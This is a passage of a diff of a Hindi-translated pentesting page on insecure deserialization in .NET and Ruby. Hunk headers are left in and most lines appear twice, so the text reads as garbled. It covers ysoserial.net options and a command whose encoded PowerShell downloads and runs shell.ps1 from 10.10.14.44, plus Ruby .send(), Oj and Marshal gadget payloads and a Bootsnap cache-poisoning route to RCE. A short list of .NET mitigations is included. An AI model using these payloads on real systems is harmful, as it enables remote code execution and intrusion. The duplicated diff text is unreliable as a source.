**ysoserial.net** के मुख्य विकल्प हैं: **`--gadget`**, **`--formatter`**, **`--output`** और **`--plugin`**।
- **`--gadget`** का उपयोग उस गैजेट को इंगित करने के लिए किया जाता है जिसका दुरुपयोग किया जाएगा (उस कक्षा/कार्य को इंगित करें जिसका दुरुपयोग डीसिरियलाइजेशन के दौरान आदेश निष्पादित करने के लिए किया जाएगा)।
- **`--formatter`**, शोषण को सीरियलाइज करने के लिए विधि को इंगित करने के लिए उपयोग किया जाता है (आपको यह जानने की आवश्यकता है कि बैक-एंड किस पुस्तकालय का उपयोग कर रहा है ताकि लोड को डसिरियलाइज किया जा सके और इसे सीरियलाइज करने के लिए उसी का उपयोग करें)
- **`--output`** का उपयोग यह इंगित करने के लिए किया जाता है कि क्या आप शोषण को **कच्चे** या **बेस64** एन्कोडेड रूप में चाहते हैं। _ध्यान दें कि **ysoserial.net** लोड को **UTF-16LE** (डिफ़ॉल्ट रूप से Windows पर उपयोग की जाने वाली एन्कोडिंग) का उपयोग करके **एन्कोड** करेगा, इसलिए यदि आप कच्चे लोड को प्राप्त करते हैं और इसे लिनक्स कंसोल से केवल एन्कोड करते हैं तो आपको कुछ **एन्कोडिंग संगतता समस्याएँ** हो सकती हैं जो शोषण को ठीक से काम करने से रोक सकती हैं (HTB JSON बॉक्स में लोड UTF-16LE और ASCII दोनों में काम करता है लेकिन इसका मतलब यह नहीं है कि यह हमेशा काम करेगा)।_
- **`--plugin`** ysoserial.net विशिष्ट ढांचों के लिए **शोषण बनाने** के लिए प्लगइन्स का समर्थन करता है जैसे ViewState
- **`--gadget`** का उपयोग उस गैजेट को इंगित करने के लिए किया जाता है जिसका दुरुपयोग किया जाएगा (उस कक्षा/कार्य को इंगित करें जिसका डेसिरियलाइजेशन के दौरान आदेश निष्पादित करने के लिए दुरुपयोग किया जाएगा)।
- **`--formatter`**, शोषण को सीरियलाइज करने के लिए विधि को इंगित करने के लिए उपयोग किया जाता है (आपको यह जानने की आवश्यकता है कि बैक-एंड किस पुस्तकालय का उपयोग कर रहा है ताकि लोड को डसिरियलाइज किया जा सके और इसे सीरियलाइज करने के लिए उसी का उपयोग करें)
- **`--output`** का उपयोग यह इंगित करने के लिए किया जाता है कि क्या आप शोषण को **कच्चे** या **बेस64** एन्कोडेड में चाहते हैं। _ध्यान दें कि **ysoserial.net** लोड को **UTF-16LE** (जो विंडोज पर डिफ़ॉल्ट रूप से उपयोग किया जाने वाला एन्कोडिंग है) का उपयोग करके **एन्कोड** करेगा, इसलिए यदि आप कच्चे लोड को प्राप्त करते हैं और इसे लिनक्स कंसोल से एन्कोड करते हैं तो आपको कुछ **एन्कोडिंग संगतता समस्याएँ** हो सकती हैं जो शोषण को सही तरीके से काम करने से रोक सकती हैं (HTB JSON बॉक्स में लोड UTF-16LE और ASCII दोनों में काम करता है लेकिन इसका मतलब यह नहीं है कि यह हमेशा काम करेगा)।_
- **`--plugin`** ysoserial.net विशिष्ट ढांचों के लिए **शोषण बनाने के लिए प्लगइन्स का समर्थन करता है** जैसे ViewState
#### अधिक ysoserial.net पैरामीटर
- `--minify` एक **छोटा लोड** प्रदान करेगा (यदि संभव हो)
- `--raf -f Json.Net -c "anything"` यह सभी गैजेट्स को इंगित करेगा जो एक प्रदान किए गए फॉर्मेटर के साथ उपयोग किए जा सकते हैं (इस मामले में `Json.Net`)
- `--raf -f Json.Net -c "anything"` यह सभी गैजेट्स को इंगित करेगा जो एक प्रदान किए गए फॉर्मेटर के साथ उपयोग किए जा सकते हैं (`Json.Net` इस मामले में)
- `--sf xml` आप **एक गैजेट** (`-g`) को इंगित कर सकते हैं और ysoserial.net "xml" (केस संवेदनशील नहीं) वाले फॉर्मेटर्स की खोज करेगा
**ysoserial उदाहरण** शोषण बनाने के लिए:
@ -739,7 +739,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
```
**ysoserial.net** में एक **बहुत दिलचस्प पैरामीटर** है जो हर एक्सप्लॉइट कैसे काम करता है, इसे बेहतर समझने में मदद करता है: `--test`\
यदि आप इस पैरामीटर को इंगित करते हैं, तो **ysoserial.net** **स्थानीय रूप से** **एक्सप्लॉइट** को **परीक्षण** करेगा, ताकि आप यह परीक्षण कर सकें कि आपका पेलोड सही ढंग से काम करेगा या नहीं।\
यदि आप इस पैरामीटर को इंगित करते हैं, तो **ysoserial.net** **स्थानीय रूप से** **एक्सप्लॉइट** को **परीक्षण** करेगा, ताकि आप यह जांच सकें कि आपका पेलोड सही ढंग से काम करेगा या नहीं।\
यह पैरामीटर सहायक है क्योंकि यदि आप कोड की समीक्षा करते हैं, तो आप निम्नलिखित कोड के टुकड़े पाएंगे (से [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
```java
if (inputArgs.Test)
@ -780,10 +780,10 @@ In the **पिछले कोड में बनाए गए एक्सप
- **`JSON.Net` के लिए, `TypeNameHandling` को `None` पर सेट करें:** `TypeNameHandling = TypeNameHandling.None`
- **`JavaScriptSerializer` का उपयोग `JavaScriptTypeResolver` के साथ करने से बचें।**
- **उन प्रकारों को सीमित करें जिन्हें deserialized किया जा सकता है**, .Net प्रकारों के साथ अंतर्निहित जोखिमों को समझते हुए, जैसे `System.IO.FileInfo`, जो सर्वर फ़ाइलों की विशेषताओं को संशोधित कर सकता है, जिससे सेवा से इनकार के हमलों की संभावना बढ़ जाती है।
- **जोखिम भरे गुणों वाले प्रकारों के साथ सतर्क रहें**, जैसे `System.ComponentModel.DataAnnotations.ValidationException` इसके `Value` गुण के साथ, जिसका शोषण किया जा सकता है।
- **जोखिम भरे गुणों वाले प्रकारों के साथ सतर्क रहें**, जैसे `System.ComponentModel.DataAnnotations.ValidationException` जिसमें इसका `Value` गुण है, जिसका शोषण किया जा सकता है।
- **प्रकार के निर्माण को सुरक्षित रूप से नियंत्रित करें** ताकि हमलावर deserialization प्रक्रिया को प्रभावित न कर सकें, जिससे `DataContractSerializer` या `XmlSerializer` भी संवेदनशील हो जाएं।
- **`BinaryFormatter` और `JSON.Net` के लिए एक कस्टम `SerializationBinder` का उपयोग करके श्वेत सूची नियंत्रण लागू करें।**
- **.Net में ज्ञात असुरक्षित deserialization गैजेट्स के बारे में सूचित रहें** और सुनिश्चित करें कि deserializers ऐसे प्रकारों को इंस्टेंटिएट न करें।
- **.Net में ज्ञात असुरक्षित deserialization गैजेट्स के बारे में सूचित रहें** और सुनिश्चित करें कि deserializers ऐसे प्रकारों का निर्माण न करें।
- **संभावित जोखिम भरे कोड को इंटरनेट एक्सेस वाले कोड से अलग करें** ताकि ज्ञात गैजेट्स, जैसे WPF एप्लिकेशनों में `System.Windows.Data.ObjectDataProvider`, को अविश्वसनीय डेटा स्रोतों के लिए उजागर न किया जा सके।
### **References**
@ -875,18 +875,18 @@ require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
```
अन्य RCE श्रृंखला Ruby On Rails का शोषण करने के लिए: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
अन्य RCE श्रृंखला जो Ruby On Rails का शोषण करती है: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
### Ruby .send() विधि
जैसा कि [**इस सुरक्षा रिपोर्ट**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) में समझाया गया है, यदि कुछ उपयोगकर्ता का असंसाधित इनपुट एक ruby ऑब्जेक्ट की `.send()` विधि तक पहुँचता है, तो यह विधि ऑब्जेक्ट के किसी भी अन्य विधि को किसी भी पैरामीटर के साथ **आमंत्रित** करने की अनुमति देती है।
जैसा कि [**इस सुरक्षा रिपोर्ट**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) में समझाया गया है, यदि किसी उपयोगकर्ता का असंसाधित इनपुट एक ruby ऑब्जेक्ट की `.send()` विधि तक पहुँचता है, तो यह विधि ऑब्जेक्ट के किसी भी अन्य विधि को किसी भी पैरामीटर के साथ **आमंत्रित** करने की अनुमति देती है।
उदाहरण के लिए, eval को कॉल करना और फिर ruby कोड को दूसरे पैरामीटर के रूप में देना मनमाने कोड को निष्पादित करने की अनुमति देगा:
उदाहरण के लिए, eval को कॉल करना और फिर दूसरे पैरामीटर के रूप में ruby कोड देना मनमाने कोड को निष्पादित करने की अनुमति देगा:
```ruby
<Object>.send('eval', '<user input with Ruby code>') == RCE
```
इसके अलावा, यदि केवल एक पैरामीटर **`.send()`** पर हमलावर द्वारा नियंत्रित किया जाता है, जैसा कि पिछले लेख में उल्लेख किया गया है, तो किसी भी ऐसे ऑब्जेक्ट के मेथड को कॉल करना संभव है जिसे **आर्गुमेंट्स की आवश्यकता नहीं है** या जिनके आर्गुमेंट्स के **डिफ़ॉल्ट मान** हैं।\
इसके लिए, ऑब्जेक्ट के सभी मेथड्स को **गिनना संभव है ताकि उन आवश्यकताओं को पूरा करने वाले कुछ दिलचस्प मेथड्स को पाया जा सके**।
इसके अलावा, यदि केवल एक पैरामीटर **`.send()`** का एक हमलावर द्वारा नियंत्रित किया जाता है, जैसा कि पिछले लेख में उल्लेख किया गया है, तो किसी भी ऐसे ऑब्जेक्ट के मेथड को कॉल करना संभव है जिसे **आर्गुमेंट्स की आवश्यकता नहीं है** या जिनके आर्गुमेंट्स के **डिफ़ॉल्ट मान** हैं।\
इसके लिए, ऑब्जेक्ट के सभी मेथड्स को **गिनना संभव है ताकि कुछ दिलचस्प मेथड्स मिल सकें जो उन आवश्यकताओं को पूरा करते हैं**।
```ruby
<Object>.send('<user_input>')
@ -922,7 +922,7 @@ candidate_methods.length() # Final number of methods=> 3595
यह तकनीक [**इस ब्लॉग पोस्ट**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared) से ली गई थी।
अन्य Ruby पुस्तकालय हैं जिन्हें ऑब्जेक्ट्स को सीरियलाइज़ करने के लिए उपयोग किया जा सकता है और इसलिए इसका दुरुपयोग RCE प्राप्त करने के लिए किया जा सकता है जब असुरक्षित डेसिरियलाइजेशन होता है। निम्नलिखित तालिका इनमें से कुछ पुस्तकालयों और उन विधियों को दिखाती है जिन्हें लोड की गई पुस्तकालय के अनसीरियलाइज होने पर कॉल किया जाता है (RCE प्राप्त करने के लिए दुरुपयोग करने के लिए कार्य):
अन्य Ruby पुस्तकालय हैं जिन्हें ऑब्जेक्ट्स को सीरियलाइज़ करने के लिए उपयोग किया जा सकता है और इसलिए इसका दुरुपयोग RCE प्राप्त करने के लिए असुरक्षित डेसिरियलाइजेशन के दौरान किया जा सकता है। निम्नलिखित तालिका इनमें से कुछ पुस्तकालयों और उन विधियों को दिखाती है जिन्हें लोड की गई पुस्तकालय के अनसीरियलाइज होने पर कॉल किया जाता है (RCE प्राप्त करने के लिए दुरुपयोग करने के लिए कार्य):
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Library</strong></td><td><strong>Input data</strong></td><td><strong>Kick-off method inside class</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (class needs to be put into hash(map) as key)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([see notes regarding json_create at end](#table-vulnerable-sinks))</td></tr></tbody></table>
@ -960,7 +960,7 @@ Oj का दुरुपयोग करने की कोशिश के
"password": "anypw"
}
```
इसके अलावा, यह पाया गया कि पिछले तकनीक के साथ एक फ़ोल्डर भी सिस्टम में बनाया जाता है, जो क अन्य गैजेट का दुरुपयोग करने क आवश्यकता है ताकि इसे कुछ इस तरह के पूर्ण RCE में परिवर्तित किया जा सके:
इसके अलावा, यह पाया गया कि पिछले तकनीक के साथ एक फ़ोल्डर भी सिस्टम में बनाया जाता है, जो किसी अन्य गैजेट का दुरुपयोग करने के लिए एक आवश्यकता है ताकि इसे कुछ इस तरह के पूर्ण RCE में परिवर्तित किया जा सके:
```json
{
"^o": "Gem::Resolver::SpecSpecification",
@ -986,44 +986,44 @@ Check for more details in the [**original post**](https://github.blog/security/v
### Bootstrap Caching
यह वास्तव में एक deserialization vuln नहीं है, लेकिन Rails एप्लिकेशन से RCE प्राप्त करने के लिए bootstrap caching का दुरुपयोग करने के लिए एक अच्छा ट्रिक है (पूर्ण [original post in here](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/) देखें)।
यह वास्तव में एक deserialization vuln नहीं है, लेकिन bootstrap caching का दुरुपयोग करने के लिए एक अच्छा ट्रिक है जिससे एक rails एप्लिकेशन से RCE प्राप्त किया जा सकता है जिसमें एक मनमाना फ़ाइल लेखन होता है (पूर्ण [original post in here](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/) देखें)।
नीचे उन चरणों का संक्षिप्त सारांश है जो लेख में Bootsnap caching का दुरुपयोग करके एक मनमाने फ़ाइल लेखन भेद्यता का शोषण करने के लिए विस्तृत हैं:
- Vulnerability और Environment की पहचान करें
- Identify the Vulnerability and Environment
Rails ऐप की फ़ाइल अपलोड कार्यक्षमता एक हमलावर को मनमाने ढंग से फ़ाइलें लिखने की अनुमति देती है। हालांकि ऐप प्रतिबंधों के साथ चलता है (केवल कुछ निर्देशिकाएँ जैसे tmp Docker के non-root user के कारण लिखने योग्य हैं), यह अभी भी Bootsnap कैश निर्देशिका (आमतौर पर tmp/cache/bootsnap के तहत) में लिखने की अनुमति देता है।
Rails ऐप की फ़ाइल अपलोड कार्यक्षमता एक हमलावर को मनमाने ढंग से फ़ाइलें लिखने की अनुमति देती है। हालांकि ऐप प्रतिबंधों के साथ चलता है (केवल कुछ निर्देशिकाएँ जैसे tmp Docker के non-root उपयोगकर्ता के कारण लिखने योग्य हैं), फिर भी यह Bootsnap कैश निर्देशिका (आमतौर पर tmp/cache/bootsnap के तहत) में लिखने की अनुमति देता है।
- Bootsnap के कैश तंत्र को समझें
- Understand Bootsnaps Cache Mechanism
Bootsnap Rails बूट समय को संकलित Ruby कोड, YAML, और JSON फ़ाइलों को कैश करके तेज करता है। यह कैश फ़ाइलें संग्रहीत करता है जिनमें एक कैश कुंजी हेडर होता है (जिसमें Ruby संस्करण, फ़ाइल आकार, mtime, संकलन विकल्प आदि जैसे फ़ील्ड होते हैं) इसके बाद संकलित कोड होता है। इस हेडर का उपयोग ऐप स्टार्टअप के दौरान कैश को मान्य करने के लिए किया जाता है।
- फ़ाइल मेटाडेटा इकट्ठा करें
- Gather File Metadata
हमलावर पहले एक लक्षित फ़ाइल का चयन करता है जो संभवतः Rails स्टार्टअप के दौरान लोड होती है (उदाहरण के लिए, Ruby के मानक पुस्तकालय से set.rb)। कंटेनर के अंदर Ruby कोड निष्पादित करके, वे महत्वपूर्ण मेटाडेटा (जैसे RUBY_VERSION, RUBY_REVISION, आकार, mtime, और compile_option) निकालते हैं। यह डेटा एक मान्य कैश कुंजी बनाने के लिए आवश्यक है।
- कैश फ़ाइल पथ की गणना करें
- Compute the Cache File Path
Bootsnap के FNV-1a 64-बिट हैश तंत्र की नकल करके, सही कैश फ़ाइल पथ निर्धारित किया जाता है। यह कदम सुनिश्चित करता है कि दुर्भावनापूर्ण कैश फ़ाइल ठीक उसी स्थान पर रखी गई है जहाँ Bootsnap इसे अपेक्षित करता है (जैसे, tmp/cache/bootsnap/compile-cache-iseq/ के तहत)।
- दुर्भावनापूर्ण कैश फ़ाइल तैयार करें
- Craft the Malicious Cache File
हमलावर एक पेलोड तैयार करता है जो:
- मनमाने आदेशों को निष्पादित करता है (उदाहरण के लिए, प्रक्रिया जानकारी दिखाने के लिए id चलाना)।
- निष्पादन के बाद दुर्भावनापूर्ण कैश को हटा देता है ताकि पुनरावृत्त शोषण को रोका जा सके।
- एप्लिकेशन को क्रैश करने से बचाने के लिए मूल फ़ाइल (जैसे, set.rb) लोड करता है।
- एप्लिकेशन को क्रैश करने से बचाने के लिए मूल फ़ाइल (जैसे, set.rb) को लोड करता है।
यह पेलोड बाइनरी Ruby कोड में संकलित किया जाता है और एक सावधानीपूर्वक निर्मित कैश कुंजी हेडर (पूर्व में इकट्ठा किए गए मेटाडेटा और Bootsnap के लिए सही संस्करण संख्या का उपयोग करके) के साथ जोड़ा जाता है।
यह पेलोड बाइनरी Ruby कोड में संकलित किया जाता है और एक सावधानीपूर्वक निर्मित कैश कुंजी हेडर (पूर्व में एकत्रित मेटाडेटा और Bootsnap के लिए सही संस्करण संख्या का उपयोग करके) के साथ जोड़ा जाता है।
- ओवरराइट करें और निष्पादन को ट्रिगर करें
मनमाने फ़ाइल लेखन भेद्यता का उपयोग करके, हमलावर गणना की गई स्थान पर तैयार की गई कैश फ़ाइल लिखता है। अगला, वे एक सर्वर पुनरारंभ को ट्रिगर करते हैं (tmp/restart.txt में लिखकर, जिसे Puma द्वारा मॉनिटर किया जाता है)। पुनरारंभ के दौरान, जब Rails लक्षित फ़ाइल की आवश्यकता होती है, तो दुर्भावनापूर्ण कैश फ़ाइल लोड होती है, जिसके परिणामस्वरूप दूरस्थ कोड निष्पादन (RCE) होता है।
- Overwrite and Trigger Execution
मनमाने फ़ाइल लेखन भेद्यता का उपयोग करके, हमलावर तैयार की गई कैश फ़ाइल को गणना की गई स्थान पर लिखता है। अगला, वे एक सर्वर पुनरारंभ को ट्रिगर करते हैं (tmp/restart.txt में लिखकर, जिसे Puma द्वारा मॉनिटर किया जाता है)। पुनरारंभ के दौरान, जब Rails लक्षित फ़ाइल की आवश्यकता होती है, तो दुर्भावनापूर्ण कैश फ़ाइल लोड होती है, जिससे दूरस्थ कोड निष्पादन (RCE) होता है।
### Ruby Marshal exploitation in practice (updated)
किसी भी पथ को जहां अविश्वसनीय बाइट्स `Marshal.load`/`marshal_load` तक पहुँचते हैं, RCE सिंक के रूप में मानें। Marshal मनमाने ऑब्जेक्ट ग्राफ को पुनर्निर्माण करता है और सामग्रीकरण के दौरान पुस्तकालय/जेम कॉलबैक को ट्रिगर करता है।
किसी भी पथ को जहां अविश्वसनीय बाइट्स `Marshal.load`/`marshal_load` तक पहुँचते हैं, एक RCE सिंक के रूप में मानें। Marshal मनमाने ऑब्जेक्ट ग्राफ को पुनर्निर्माण करता है और सामग्रीकरण के दौरान पुस्तकालय/जेम कॉलबैक को ट्रिगर करता है।
- न्यूनतम संवेदनशील Rails कोड पथ:
- Minimal vulnerable Rails code path:
```ruby
class UserRestoreController < ApplicationController
def show
@ -1038,7 +1038,7 @@ end
end
```
- वास्तविक श्रृंखलाओं में देखी जाने वाली सामान्य गैजेट श्रेणियाँ: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
- पेलोड में एम्बेडेड सामान्य साइड-इफेक्ट मार्कर (जो अनमार्शल के दौरान निष्पादित होता है):
- पेलोड में एम्बेडेड सामान्य साइड-इफेक्ट मार्कर (जो अनमार्शल के दौरान निष्पादित होते हैं):
```
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
```